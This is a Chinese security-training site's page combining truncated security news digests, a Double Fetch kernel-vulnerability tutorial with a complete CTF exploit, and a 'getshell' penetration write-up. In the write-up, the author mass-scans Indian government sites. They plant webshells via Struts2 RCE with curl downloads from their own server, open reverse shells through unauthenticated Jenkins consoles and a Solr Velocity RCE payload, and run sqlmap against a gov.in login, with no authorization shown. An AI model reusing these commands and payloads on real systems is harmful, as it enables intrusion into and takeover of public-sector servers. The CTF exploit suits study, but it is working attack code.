https://securelist.com/focus-on-droxidat-systembc/110302/ 研究人员发现部署到关键基础设施目标的SystemBC 后门的新变体DroxiDat。在此次活动中,具有代理功能的后门与 Cobalt Strike 信标一起部署在南非国家的关键基础设施中。DroxiDat有效负载组件是一个不断变化的恶意后门。之前 SystemBC 有效负载中提供的大部分功能已从其代码库中剥离,而该 DroxiDat 恶意软件变体的目的是一个简单的系统分析器,其文件名表明其用例为“syscheck.exe”。它不提供下载和执行功能,但可以与远程侦听器连接并来回传
3、APT29组织伪造德国大使馆PDF文件发起钓鱼攻击
https://blog.eclecticiq.com/german-embassy-lure-likely-part-of-campaign-against-nato-aligned-ministries-of-foreign-affairs 研究人员观察到针对北约联盟国家外交部的两份 PDF 文档。这些 PDF 文件伪装成来自德国大使馆,并包含两个外交邀请诱饵文件。其中一个 PDF 提供了 Duke 的变种,这是一种与俄罗斯国家资助的 APT29 网络间谍活动相关的恶意软件。另一个文件很可能用于测试或侦察,因为它不包含有效负载,但如果受害者打开电子邮件附件,则会通知攻击者。APT29使用
4、AdLoad恶意软件针对Mac系统进行网络攻击
https://cybersecurity.att.com/blogs/labs-research/mac-systems-turned-into-proxy-exit-nodes-by-adload AdLoad 恶意软件在 2017 年首次出现多年后,仍在感染 Mac 系统。AdLoad 是一个软件包捆绑器,据观察,它在其存在期间提供了广泛的有效负载。研究人员在对其最新有效负载进行调查期间发现,AdLoad 在过去一年中删除的最常见组件是代理应用程序,该代理应用程序将 MacOS AdLoad 受害者变成一个巨大的住宅代理僵尸网络。
5、CODESYS SDK多个漏洞可被利用使OT技术环境面临远程攻击
https://www.microsoft.com/en-us/security/blog/2023/08/10/multiple-high-severity-vulnerabilities-in-codesys-v3-sdk-could-lead-to-rce-or-dos/ CODESYS V3软件开发套件 (SDK)中披露了一组 16 个高严重性安全漏洞,这些漏洞可能导致特定条件下的远程代码执行和拒绝服务,从而给运营技术 (OT) 环境带来风险。这些漏洞从追踪为 CVE-2022-47378 到 CVE-2022-47393,被称为CoDe16,CVSS 评分为 8.8,但 CVE-2
6、Avada WordPress主题和插件中存在多个漏洞
https://www.infosecurity-magazine.com/news/flaws-wordpress-avada-theme-plugin/ Avada 主题及其随附的 Avada Builder 插件中已发现多个漏洞。安全研究员发现的这些安全漏洞使大量 WordPress 网站面临潜在的漏洞。在这些漏洞中,Avada Builder 插件存在两个。第一个是经过身份验证的 SQL 注入 (CVE-2023-39309)。利用此漏洞,拥有经过身份验证的访问权限的攻击者可能会破坏敏感数据并可能执行远程代码。第二个是反射跨站脚本 (XSS) 漏洞 (CVE-2023-39306),
7、LOLEKHosted管理员因协助Netwalker勒索软件组织被捕
https://www.bleepingcomputer.com/news/security/lolekhosted-admin-arrested-for-aiding-netwalker-ransomware-gang/ 警方已经控制了 Lolek 防弹托管提供商,逮捕了五个人并没收了涉嫌为 Netwalker 勒索软件攻击和其他恶意活动提供便利的服务器。防弹托管提供商是一家对其服务器上的犯罪活动或托管受版权保护材料的报告视而不见的托管公司。与传统公司相比,网络犯罪分子更喜欢这些类型的托管提供商,因为他们可以发起网络犯罪活动,而不必担心在报告恶意活动后他们会被关闭。
8、奥科桌面电话和Zoom ZTP存在多个漏洞可导致用户遭遇窃听
https://blog.syss.com/posts/zero-touch-pwn/ 奥科桌面电话和 Zoom 的零接触配置 ( ZTP )中已披露多个安全漏洞,恶意攻击者可能利用这些漏洞进行远程攻击。外部攻击者利用奥科桌面电话和 Zoom 零接触配置功能中发现的漏洞,可以获得对设备的完全远程控制。然后,不受限制的访问可以被武器化,以窃听房间或电话、通过设备进行攻击并攻击公司网络,甚至构建受感染设备的僵尸网络。
9、福特汽车称存在 WiFi 漏洞的汽车仍可安全驾驶
https://www.bleepingcomputer.com/news/security/ford-says-cars-with-wifi-vulnerability-still-safe-to-drive/ 福特警告称,许多福特和林肯汽车所使用的 SYNC3 信息娱乐系统存在缓冲区溢出漏洞,该漏洞可能允许远程执行代码,但表示车辆驾驶安全不会受到影响。SYNC3 是一款现代信息娱乐系统,支持车载 WiFi 热点、电话连接、语音命令、第三方应用程序等。该漏洞被追踪为 CVE-2023-29468,位于汽车信息娱乐系统中集成的 WiFi 子系统的 WL18xx MCP 驱动程序中,该漏洞允许
10、CyberPower和 Dataprobe产品的多个漏洞使数据中心面临风险
https://thehackernews.com/2023/08/multiple-flaws-in-cyberpower-and.html 影响 CyberPower 的 PowerPanel 企业数据中心基础设施管理 (DCIM) 平台和 Dataprobe 的 iBoot 配电单元 (PDU) 的多个安全漏洞可能会被利用来获得对这些系统的未经身份验证的访问,并在目标环境中造成灾难性损坏。这九个漏洞(从 CVE-2023-3259 到 CVE-2023-3267)的严重程度评分从 6.7 到 9.8 不等,使威胁行为者能够关闭整个数据中心并破坏数据中心部署,以窃取数据或大规模发动大规模
免责声明
以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
网络安全日报 2023年08月11日
1、BitForge零日漏洞可被利用以窃取加密货币
https://www.bleepingcomputer.com/news/cryptocurrency/new-bitforge-cryptocurrency-wallet-flaws-lets-hackers-steal-crypto/ 研究人员发现的加密货币钱包第一个漏洞 (CVE-2023-33241) 影响 GG18 和 GG20 门限签名方案 (TSS),这些方案被认为是 MPC 钱包行业的开创性和基础性的,允许多方生成密钥和共同签署交易。在 GG-18、GG-20 和 Lindell 17 等广泛使用的加密协议的实施中,多个名为“BitForge”的零日漏洞影响了流行的加密货币
2、开源项目Moq新版本涉及用户隐私问题
https://www.bleepingcomputer.com/news/security/popular-open-source-project-moq-criticized-for-quietly-collecting-data/ 开源项目 Moq(发音为“Mock”)因其在其最新版本中悄悄包含有争议的依赖项而招致了尖锐的批评。Moq 分布在 NuGet 软件注册表上,每天的下载量超过 100,000 次,在其生命周期内下载量超过 4.76 亿次。Moq 本周发布的 4.20.0 版本悄然包含了另一个项目 SponsorLink,该项目在开源软件消费者中引起了轩然大波,他们将此举比作违
3、CISA 发现名为 Whirlpool 的新后门,用于 Barracuda ESG 攻击
https://securityaffairs.com/149392/hacking/whirlpool-backdoor-barracuda-esg-attacks.html 美国网络安全和基础设施安全局 (CISA) 在针对 Barracuda ESG 设备的攻击中发现了一个名为 Whirlpool 的新后门。
4、北爱尔兰警察局(PSNI)警察的数据被泄露在网上
https://securityaffairs.com/149359/data-breach/psni-data-leak.html 北爱尔兰警察局 (PSNI) 应信息自由请求错误地共享了所有 10,000 名在职警察的敏感数据。
5、Android 2023 年 8 月安全更新修复了 40 个漏洞
https://www.securityweek.com/40-vulnerabilities-patched-in-android-with-august-2023-security-updates 随着 2023 年 8 月安全更新的发布,Google 修复了 Android 操作系统中的 40 多个漏洞。 据这家科技巨头称,最严重的漏洞是 CVE-2023-21273,这是一个影响系统组件的关键远程代码执行问题。利用该漏洞不需要用户交互或提升权限。CVE-2023-21273 影响 Android 11、12、12L 和 13。
6、搜狗输入法加密机制存在严重漏洞,可被CBC填充攻击和窃听明文
https://thehackernews.com/2023/08/encryption-flaws-in-popular-chinese.html 多伦多大学公民实验室的调查结果对腾讯搜狗输入法中使用的加密机制进行了分析,该应用程序在 Windows、Android 和 iOS 上每月拥有超过 4.55 亿活跃用户。这些漏洞源于该服务的自定义加密系统 EncryptWall,允许网络窃听者提取文本内容并访问敏感数据。“Windows和Android版本的搜狗输入法在该加密系统中存在漏洞,其中包括CBC padding oracle攻击的漏洞,该漏洞允许网络窃听者恢复加密网络传输的明文,从而
7、网传58集团“倒卖”毕业生简历信息
https://www.freebuf.com/news/374397.html 近日,国内多家媒体相继发文称,前 58 员工透露集团内部借助招聘名义,倒卖大量学生简历,此事一经爆出迅速引起社会讨论。随着此事热度不断上升,网友陆续扒出 58 集团在收集到大批学生简历后,高价卖给培训机构,以此收取返利。
8、为打击漏洞利用,谷歌将每周更新Chrome安全补丁
https://www.freebuf.com/news/374385.html 谷歌宣布,从Chrome浏览器116版本开始,其安全更新频率将从过去的每两周一次压缩为每周一次,以解决攻击者通过补丁更新的时间间隔,利用N Day和0 Day漏洞进行攻击活动。
9、每天罚款 100 万克朗,挪威将对 Meta 开巨额罚单
https://www.ithome.com/0/711/030.htm 挪威监管机构 Datatilsynet 曾于 7 月 17 日宣布,如果 Meta 公司无法满足该机构的监管要求,妥善解决隐私泄露问题,那么将执行罚款措施。
10、航旅业大地震:常旅客积分系统曝严重漏洞
https://www.secrss.com/articles/57535 黑客可利用常旅客系统漏洞窃取客户隐私数据和积分,甚至控制整个系统给任何人授予无限飞行里程或酒店住宿积分。Points.com是全球航空公司和酒店常旅客积分计划的主要数字基础设施提供商之一。近日,安全研究人员发现Points.com的API中存在可利用漏洞,攻击者可利用这些漏洞泄漏客户数据、窃取客户的“忠诚货币”(例如里程),甚至接管Points全球管理帐户获得对整个忠诚度计划的控制权。
免责声明
以上内容原文来自互联网的公共方式,仅用于有限分享,译文内容不代表蚁景网安实验室观点,因此第三方对以上内容进行分享、传播等行为,以及所带来的一切后果与译者和蚁景网安实验室无关。以上内容亦不得用于任何商业目的,若产生法律责任,译者与蚁景网安实验室一律不予承担。
条件竞争漏洞Double Fetch
前言
Double Fetch(双取)是一种条件竞争的漏洞,相关的论文发表在USENIX,论文链接:https://www.usenix.org/system/files/conference/usenixsecurity17/sec17-wang.pdf
Double Fetch
Double Fetch是内核的一种漏洞类型,发生在内核从用户空间中拷贝数据时,两次访问了相同一块内存。如下图示(图片来自论文),内核从用户空间拷贝数据时,第一次拷贝会进行安全检测,而第二次拷贝时才会进行数据的使用,那么在第一次拷贝与第二次拷贝的间隙,就能够进行恶意数据篡改。举个例子,在第一次时从用户空间中获取了需要拷贝的长度,并进行长度的检测,但是在第二次拷贝时会再次拷贝长度,并且根据该长度进行数据的拷贝。但是此时的长度是没有经过校验的,因此当该长度在第一次拷贝与第二次拷贝之间被修改,就会导致漏洞的发生。这种漏洞就被称之为Double Fetch。
论文的作者总结了容易发生Double Fetch的情况,如下图示(图片来自论文)。通常用户进程会通过指定的消息格式与内核进行通信,而消息格式通常由消息头与消息体构成。消息头包含了一些特殊属性,比如消息的长度,消息的类型等。那么内核通常会取出消息头,根据消息头的信息,进行不同的分支执行。若在进入分支后,内核依旧提取出消息头,并使用了前面使用过的字段,就非常容易发生Double Fetch,因为在这两次提取的过程中,用户态的程序可以修改消息头。
作者根据Double Fetch发生的场景,并将其进行分类
类型选择
长度检查
浅拷贝
类型选择
类型选择的Double Fetch,如下图示(图片来自论文)。代码截取自cxgb3 main.c。可以看到下述代码首先通过copy_from_user函数从useraddr中拷贝数据到cmd中,而useraddr为用户空间的地址。而后续的流程会根据从useraddr中提取出的数据从而选择执行。并且在每个分支中,又通过copy_from_user函数从useraddr的地址中取出数据,做后续的处理。若在后续的处理中又重复使用到了cmd那么就会导致Double Fetch。
长度选择
长度选择的Double Fetch,如下图示(图片来自论文)。在第一次拷贝是通过copy_from_user从arg中获取数据,并且提取了header.Size,在第二次时又重复了这个过程,这就是明显的Double Fetch。若在两次提取之间修改了header.Size值,并通过aac_fib_send函数发送数据,那么就会导致漏洞的发送,即可以泄露比原本header.Size值更大的数据量。
浅拷贝
浅拷贝则是第一次的拷贝只是将指向用户数据的指针拷贝到内核中,后续在将用户数据拷贝进来。如下图示(图片来自论文)。第一次获取时是通过指向用户数据的指针的指针,而第二次同样是这么获取的,那么在第一次与第二次的间隔中修改指针的指向就会导致数据被修改。
举个例子,即内核拷贝时并不是把能够读取用户数据的地址拷贝进来,而是将指向该地址的地址给拷贝进来,即下图中的ptr,因此后续内核在读取数据的时候都是通过ptr进行获取,那么在两次获取的中途修改了ptr的指向,那么就可以使得内核指向恶意数据。
总结一下Double Fetch的利用流程
内核会从用户空间中获取数据,并且会两次获取相同空间的数据
在两次获取的过程中没有检测获取的数据是否一致
最后在两次获取的过程中,篡改该空间的数据
20180ctf-final-baby
题目链接:https://github.com/h0pe-ay/Kernel-Pwn/tree/master/0ctf-final-baby
在模块中存在baby_ioctl函数,若rsi的值为0x6666则会将flag输出,由于是通过printk,因此需要通过dmesg输出,若rsi为0x1337,则会经过一个校验函数,若通过该校验流程,则会将flag的值与传入的地址的内容进行比较,若内容完全一致,那么则会将flag直接输出,同样的该输出是通过printk,因此需要通过dmesg进行打印。
接着看校验函数,该函数很简单,接受三个参数,a1、a2、a3,若a1 + a2 < a3则通过检查。而a1的值是我们所控制的,即rdx寄存器的值,而a3的值则是通过¤t_task中获取的。
可以发现从¤t_task中获取的地址为0x7ffffffff000
下图为用户空间的地址分布,可以看到0x7ffffffff000为末尾地址,因此该检测即使若传入的地址是用户空间地址则通过,传入内核空间地址就不通过。
这么做的原因是因为,flag字符串是硬编码到驱动中的,若能够读取内核空间的内容,岂不是可以直接读取了?因此该题做了隔离。
那么这题就能够使用Double Fetch进行利用,重点来看检测部分。驱动会进行三块检测
检查传入的地址是否为用户空间的地址
检查传入的地址的内容的值是否为用户空间的地址
检查传入的长度是否与flag的长度一致
总的来说从用户空间中我们传入了一个结构体
typedef struct
{
char *flag_addr;
unsigned long flag_len;
};
可以看到该题在检测的时候获取的用户空间的地址v5,接着在循环过程中再一次获得用户空间的地址v5,在这两次获取的过程中并没有去比较值是否被修改了,那么就导致了Double Fetch。
利用的思路如下
在检测阶段,v5的我们使用用户空间的变量值进行赋值,即v5 = buf
而进入比较阶段,v5的值我们使用flag的地址值进行赋值,即v5 = flag
那么如何获得进入比较阶段的时间点呢,可以看到题目即使比较失败也不会发生异常而是简单的返回,因此我们可以开启一个线程,不断的修改v5 = flag即可
...
void *
rewrite_flag_addr(void *arg)
{
pdata data = (pdata)arg;
while(finish == 0)
{
data->flag_addr = (char *)target_addr;
//printf("%p\n",data_flag.flag_addr);
}
}
...
err = pthread_create(&ntid, NULL, rewrite_flag_addr, &data_flag);
...
具体流程如下图,这里用线程的原因
主线程与子线程异步执行
线程之间共享内存信息
因此可以利用其他线程去修改共享的内存
完整exp
#include <stdio.h>
#include <fcntl.h>
#include <string.h>
#include <unistd.h>
#include <sys/ioctl.h>
#include <pthread.h>
#define MAXSIZE 1024
#define MAXTIME 1000000
unsigned long target_addr;
int finish;
typedef struct
{
char* flag_addr;
unsigned long flag_len;
}data, *pdata;
data data_flag;
int fd;
void *
rewrite_flag_addr(void *arg)
{
pdata data = (pdata)arg;
while(finish == 0)
{
data->flag_addr = (char *)target_addr;
//printf("%p\n",data_flag.flag_addr);
}
}
int main()
{
fd = open("/dev/baby", O_RDWR);
__asm(
".intel_syntax noprefix;"
"mov rax, 0x10;"
"mov rdi, fd;"
"mov rsi, 0x6666;"
"syscall;"
".att_syntax;"
);
char buf[MAXSIZE];
char *target;
int count;
int flag = open("/dev/kmsg", O_RDONLY);
if (flag == -1)
printf("open dmesg error");
while ((count = read(flag, buf, MAXSIZE)) > 0)
{
if ((target = strstr(buf, "Your flag is at ")) > 0)
{
target = target + strlen("Your flag is at ");
char *temp = strstr(target, "!");
target[temp - target] = 0;
target_addr = strtoul(target, NULL, 16);
printf("flag address:0x%s\n",target);
printf("flag address:0x%lx\n", target_addr);
break;
}
}
data_flag.flag_addr = buf;
data_flag.flag_len = 33;
pthread_t ntid;
int err;
err = pthread_create(&ntid, NULL, rewrite_flag_addr, &data_flag);
for (int i = 0; i < MAXTIME; i++)
{
ioctl(fd, 0x1337, &data_flag);
data_flag.flag_addr = buf;
//printf("%d\n",i);
}
finish = 1;
pthread_join(ntid, NULL);
printf("end!");
//system("dmesg | grep flag");
}
一次暴露面全开的红帽渗透测试【getshell】
0x01、信息收集阶段
注:本次信息收集过程主要使用FOFA网络探测平台 https://fofa.info/===
一开始进行收集的时候,有点迷,直接进行了大面积的"gov.in"域名收集
host="gov.in" && country="IN"
哈哈68465条数据,想想就起飞,但是有个问题来了,怎么下载到本地,高级用户的API也只能调用下载1w条数据,左思右想。
试着写了个脚本看看:
import pythonfofa
import csv
filename = "IN_domain.csv"
email = 'u_mail'
key = 'u_API_KEY'
search = pythonfofa.Client(email, key)
get_data = search.search('host="gov.in" && country="IN"', size=70000)
# print(get_data)
requests = [result[1] for result in get_data['results']]
print(requests)
# 打开CSV文件并设置写入模式
with open(filename, "w", newline="") as file:
writer = csv.writer(file)
# 遍历请求列表
for request in requests:
# 在控制台打印域名
print(request)
# 检测域名是否包含"http://"
if not request.startswith("http://") and not request.startswith("https://"):
# 如果不包含,则在域名前添加"http://"
request = "http://" + request
# 在域名后添加斜杠"/"
request += "/"
# 将请求和值"1"作为一行写入CSV文件
writer.writerow([request, 1])
是的,肯定不能跑,下断点,调试看看
很好确实是不能直接干7w条,换个收集思路,收集主流框架进行相应的漏扫
主流框架的相关漏洞的FOFA规则语句:
Fastjson
app="Fastjson" && host="in" && country="IN" && status_code="200" && (port="80" || port="443")
Struts2
app="Struts" && host="in" && country="IN" && status_code="200" && (port="80" || port="443")
Log4j2
(app="Log4j2" && host="in" && country="IN" && status_code="200" && (port="80" || port="443"))
其他的也都大同小异,照葫芦画瓢就行。
目标站点收集差不多了,就是漏洞探测阶段了。
0x02、漏洞探测及利用
Struts2:
直接掏出大范围漏扫AWVS就行批量漏洞探测:
第一天数据就直接起飞,因为本次目标是==getshell==直接忽略中低危漏洞告警,查看高危漏洞:
很好一堆==Struts2==漏洞,直接上工具:
得到一个RCE(远程命令执行漏洞),远程写入==shell==,先利用工具生成一个==Antsword(蚁剑)jsp格式的shell==
将shell放到一个公网服务器上,接着执行命令查看web路径:/var/tomcat9/pmrportal/ROOT/
直接执行
curl -o /var/tomcat9/pmrportal/ROOT/shell.jsp http://u_ip/antsword.jsp
然后webshell工具Antsword连接即可:
爆出的该S2-045的漏洞的还有几个,getshell方式同上,不进行细述了___________。
Weblogic:
很好用的awvs,直接上工具注入内存马:
冰蝎连接webshell:
同类型的漏洞还有几个,getshell的方式都一致,不一一概述了》》
(PS:这个时候已经有些疲软了,没有去手测upload的点)
Jenkins:
中途其他框架没有收获的时候,就去浏览知识的海洋了,看到一个存在大量未授权+RCE的框架漏洞(Jenkins),二话不说,直接上FOFA:
(app="JENKINS" && title=="Dashboard [Jenkins]" && country="IN" && status_code="200") && (port="80" || port="443")
一看86条资产,有戏,数量不多,直接手测:
存在未授权,访问manager --> script页面,进行命令执行测试:
println "ls -al".execute().text
存在命令执行,尝试反弹shell:
println "bash -i >& /dev/tcp/ip/port 0<&1".execute().text
接收shell的服务器开启端口监听:
执行命令
发现没有shell反弹过来,猜测不能在web端执行反弹shell,于是将反弹shell的命令写入.sh文件中,然后执行,进行反弹shell操作:
在sh文件中写入如下内容:
bash -i >& /dev/tcp/ip/port 0<&1
保存在开放的web端口,在jenkins服务中执行如下curl命令远程下载sh文件:
println "curl - o /tmp/jenkins.sh http://u_ip:port/jenkins.sh".execute().text
查看.sh文件是否获取成功:
println "ls -al /tmp".execute().text
获取.sh文件成功,执行文件,反弹shell:
开启监听:
执行命令,启动.sh文件:
println "bash /tmp/jenkins.sh".execute().text
成功监听到谈过来的shell,又拿下一台!其他的没有存在未授权,便没有尝试。
Apache-Solr
闲着没事,打开文库看了几篇RCE复现,心血来潮,打开FOFA:
country="IN" && app="Apache-Solr" && status_code="200" && (port="443" || port="80")
数据不大,接着手测,拿到三个未授权(不需要登陆):
==授权==:
==未授权==:
拿到未授权之后,进行CVE探测:
访问/solr/admin/cores/,获取name => music
接着拼接路径/solr/music/config/查看用户配置信息:
都为true,可直接利用公网披露的payload进行RCE,
GET /solr/music/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%22whoam
Host: ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
测试是否出网:
修改执行命令为
curl%20xtolsc.dnslog.cn
可出网,直接反弹shell:
GET /solr/music/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%22bash%
Host: ip
accept: */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
VPS开启端口监听:nc -lvvnp 5000
接听到弹过来的shell了,好,又拿下一台,root权限。
其他漏洞发现
反射型XSS
具体测试过程均无任何难度,无须bypass黑名单之类的,测试语句
<script>alert(1)</script>
SQL注入
这类没有具体测试,发现注入点之后直接上SQLmap开扫:
sqlmap https://******.gov.in/****/Validate.jsp --data "email=a@a.com&password=123456" --random-agent -t 10 -p password --proxy=http://127.0.0.1:7890 --dbms=mysql
诸如其他的漏洞也有发现,但不是本次渗透的重点,便没重点去深入。
渗透总结
本次测试周期长,测试目标暴露点多,非常有趣的一次渗透实战,后期有其他事儿,就没法全身心投入,蛮可惜的。
第2页 第3页 第4页 第5页 第6页 第7页 第8页 第9页 第10页 第11页 第12页 第13页 第14页 第15页 第16页 第17页 第18页 第19页 第20页 第21页 第22页 第23页 第24页 第25页 第26页 第27页 第28页 第29页 第30页 第31页 第32页 第33页 第34页 第35页 第36页 第37页 第38页 第39页 第40页 第41页 第42页 第43页 第44页 第45页 第46页 第47页 第48页 第49页 第50页 第51页 第52页 第53页 第54页 第55页 第56页 第57页 第58页 第59页 第60页 第61页 第62页 第63页 第64页 第65页 第66页 第67页 第68页 第69页 第70页 第71页 第72页 第73页 第74页 第75页 第76页 第77页 第78页 第79页 第80页 第81页 第82页 第83页 第84页 第85页 第86页 第87页 第88页 第89页 第90页 第91页 第92页 第93页 第94页 第95页 第96页 第97页 第98页 第99页 第100页 第101页 第102页 第103页 第104页 第105页 第106页 第107页 第108页 第109页 第110页 第111页 第112页 第113页 第114页 第115页 第116页 第117页 第118页 第119页 第120页 第121页 第122页 第123页 第124页 第125页 第126页 第127页 第128页 第129页 第130页 第131页 第132页 第133页 第134页 第135页 第136页 第137页 第138页 第139页 第140页 第141页 第142页 第143页 第144页 第145页 第146页 第147页 第148页 第149页 第150页 第151页 第152页 第153页 第154页 第155页 第156页 第157页 第158页 第159页 第160页 第161页 第162页 第163页 第164页 第165页 第166页 第167页 第168页 第169页 第170页 第171页 第172页 第173页 第174页 第175页 第176页 第177页 第178页 第179页 第180页 第181页 第182页 第183页 第184页 第185页 第186页 第187页 第188页 第189页 第190页 第191页 第192页 第193页 第194页 第195页 第196页 第197页 第198页 第199页 第200页 第201页 第202页 第203页 第204页 第205页 第206页 第207页 第208页 第209页 第210页 第211页 第212页 第213页 第214页 第215页 第216页 第217页 第218页
蚁景网安学院火热招生中,限时领取大额优惠券,快来抢购吧~
扫码咨询客服了解招生最新内容和活动

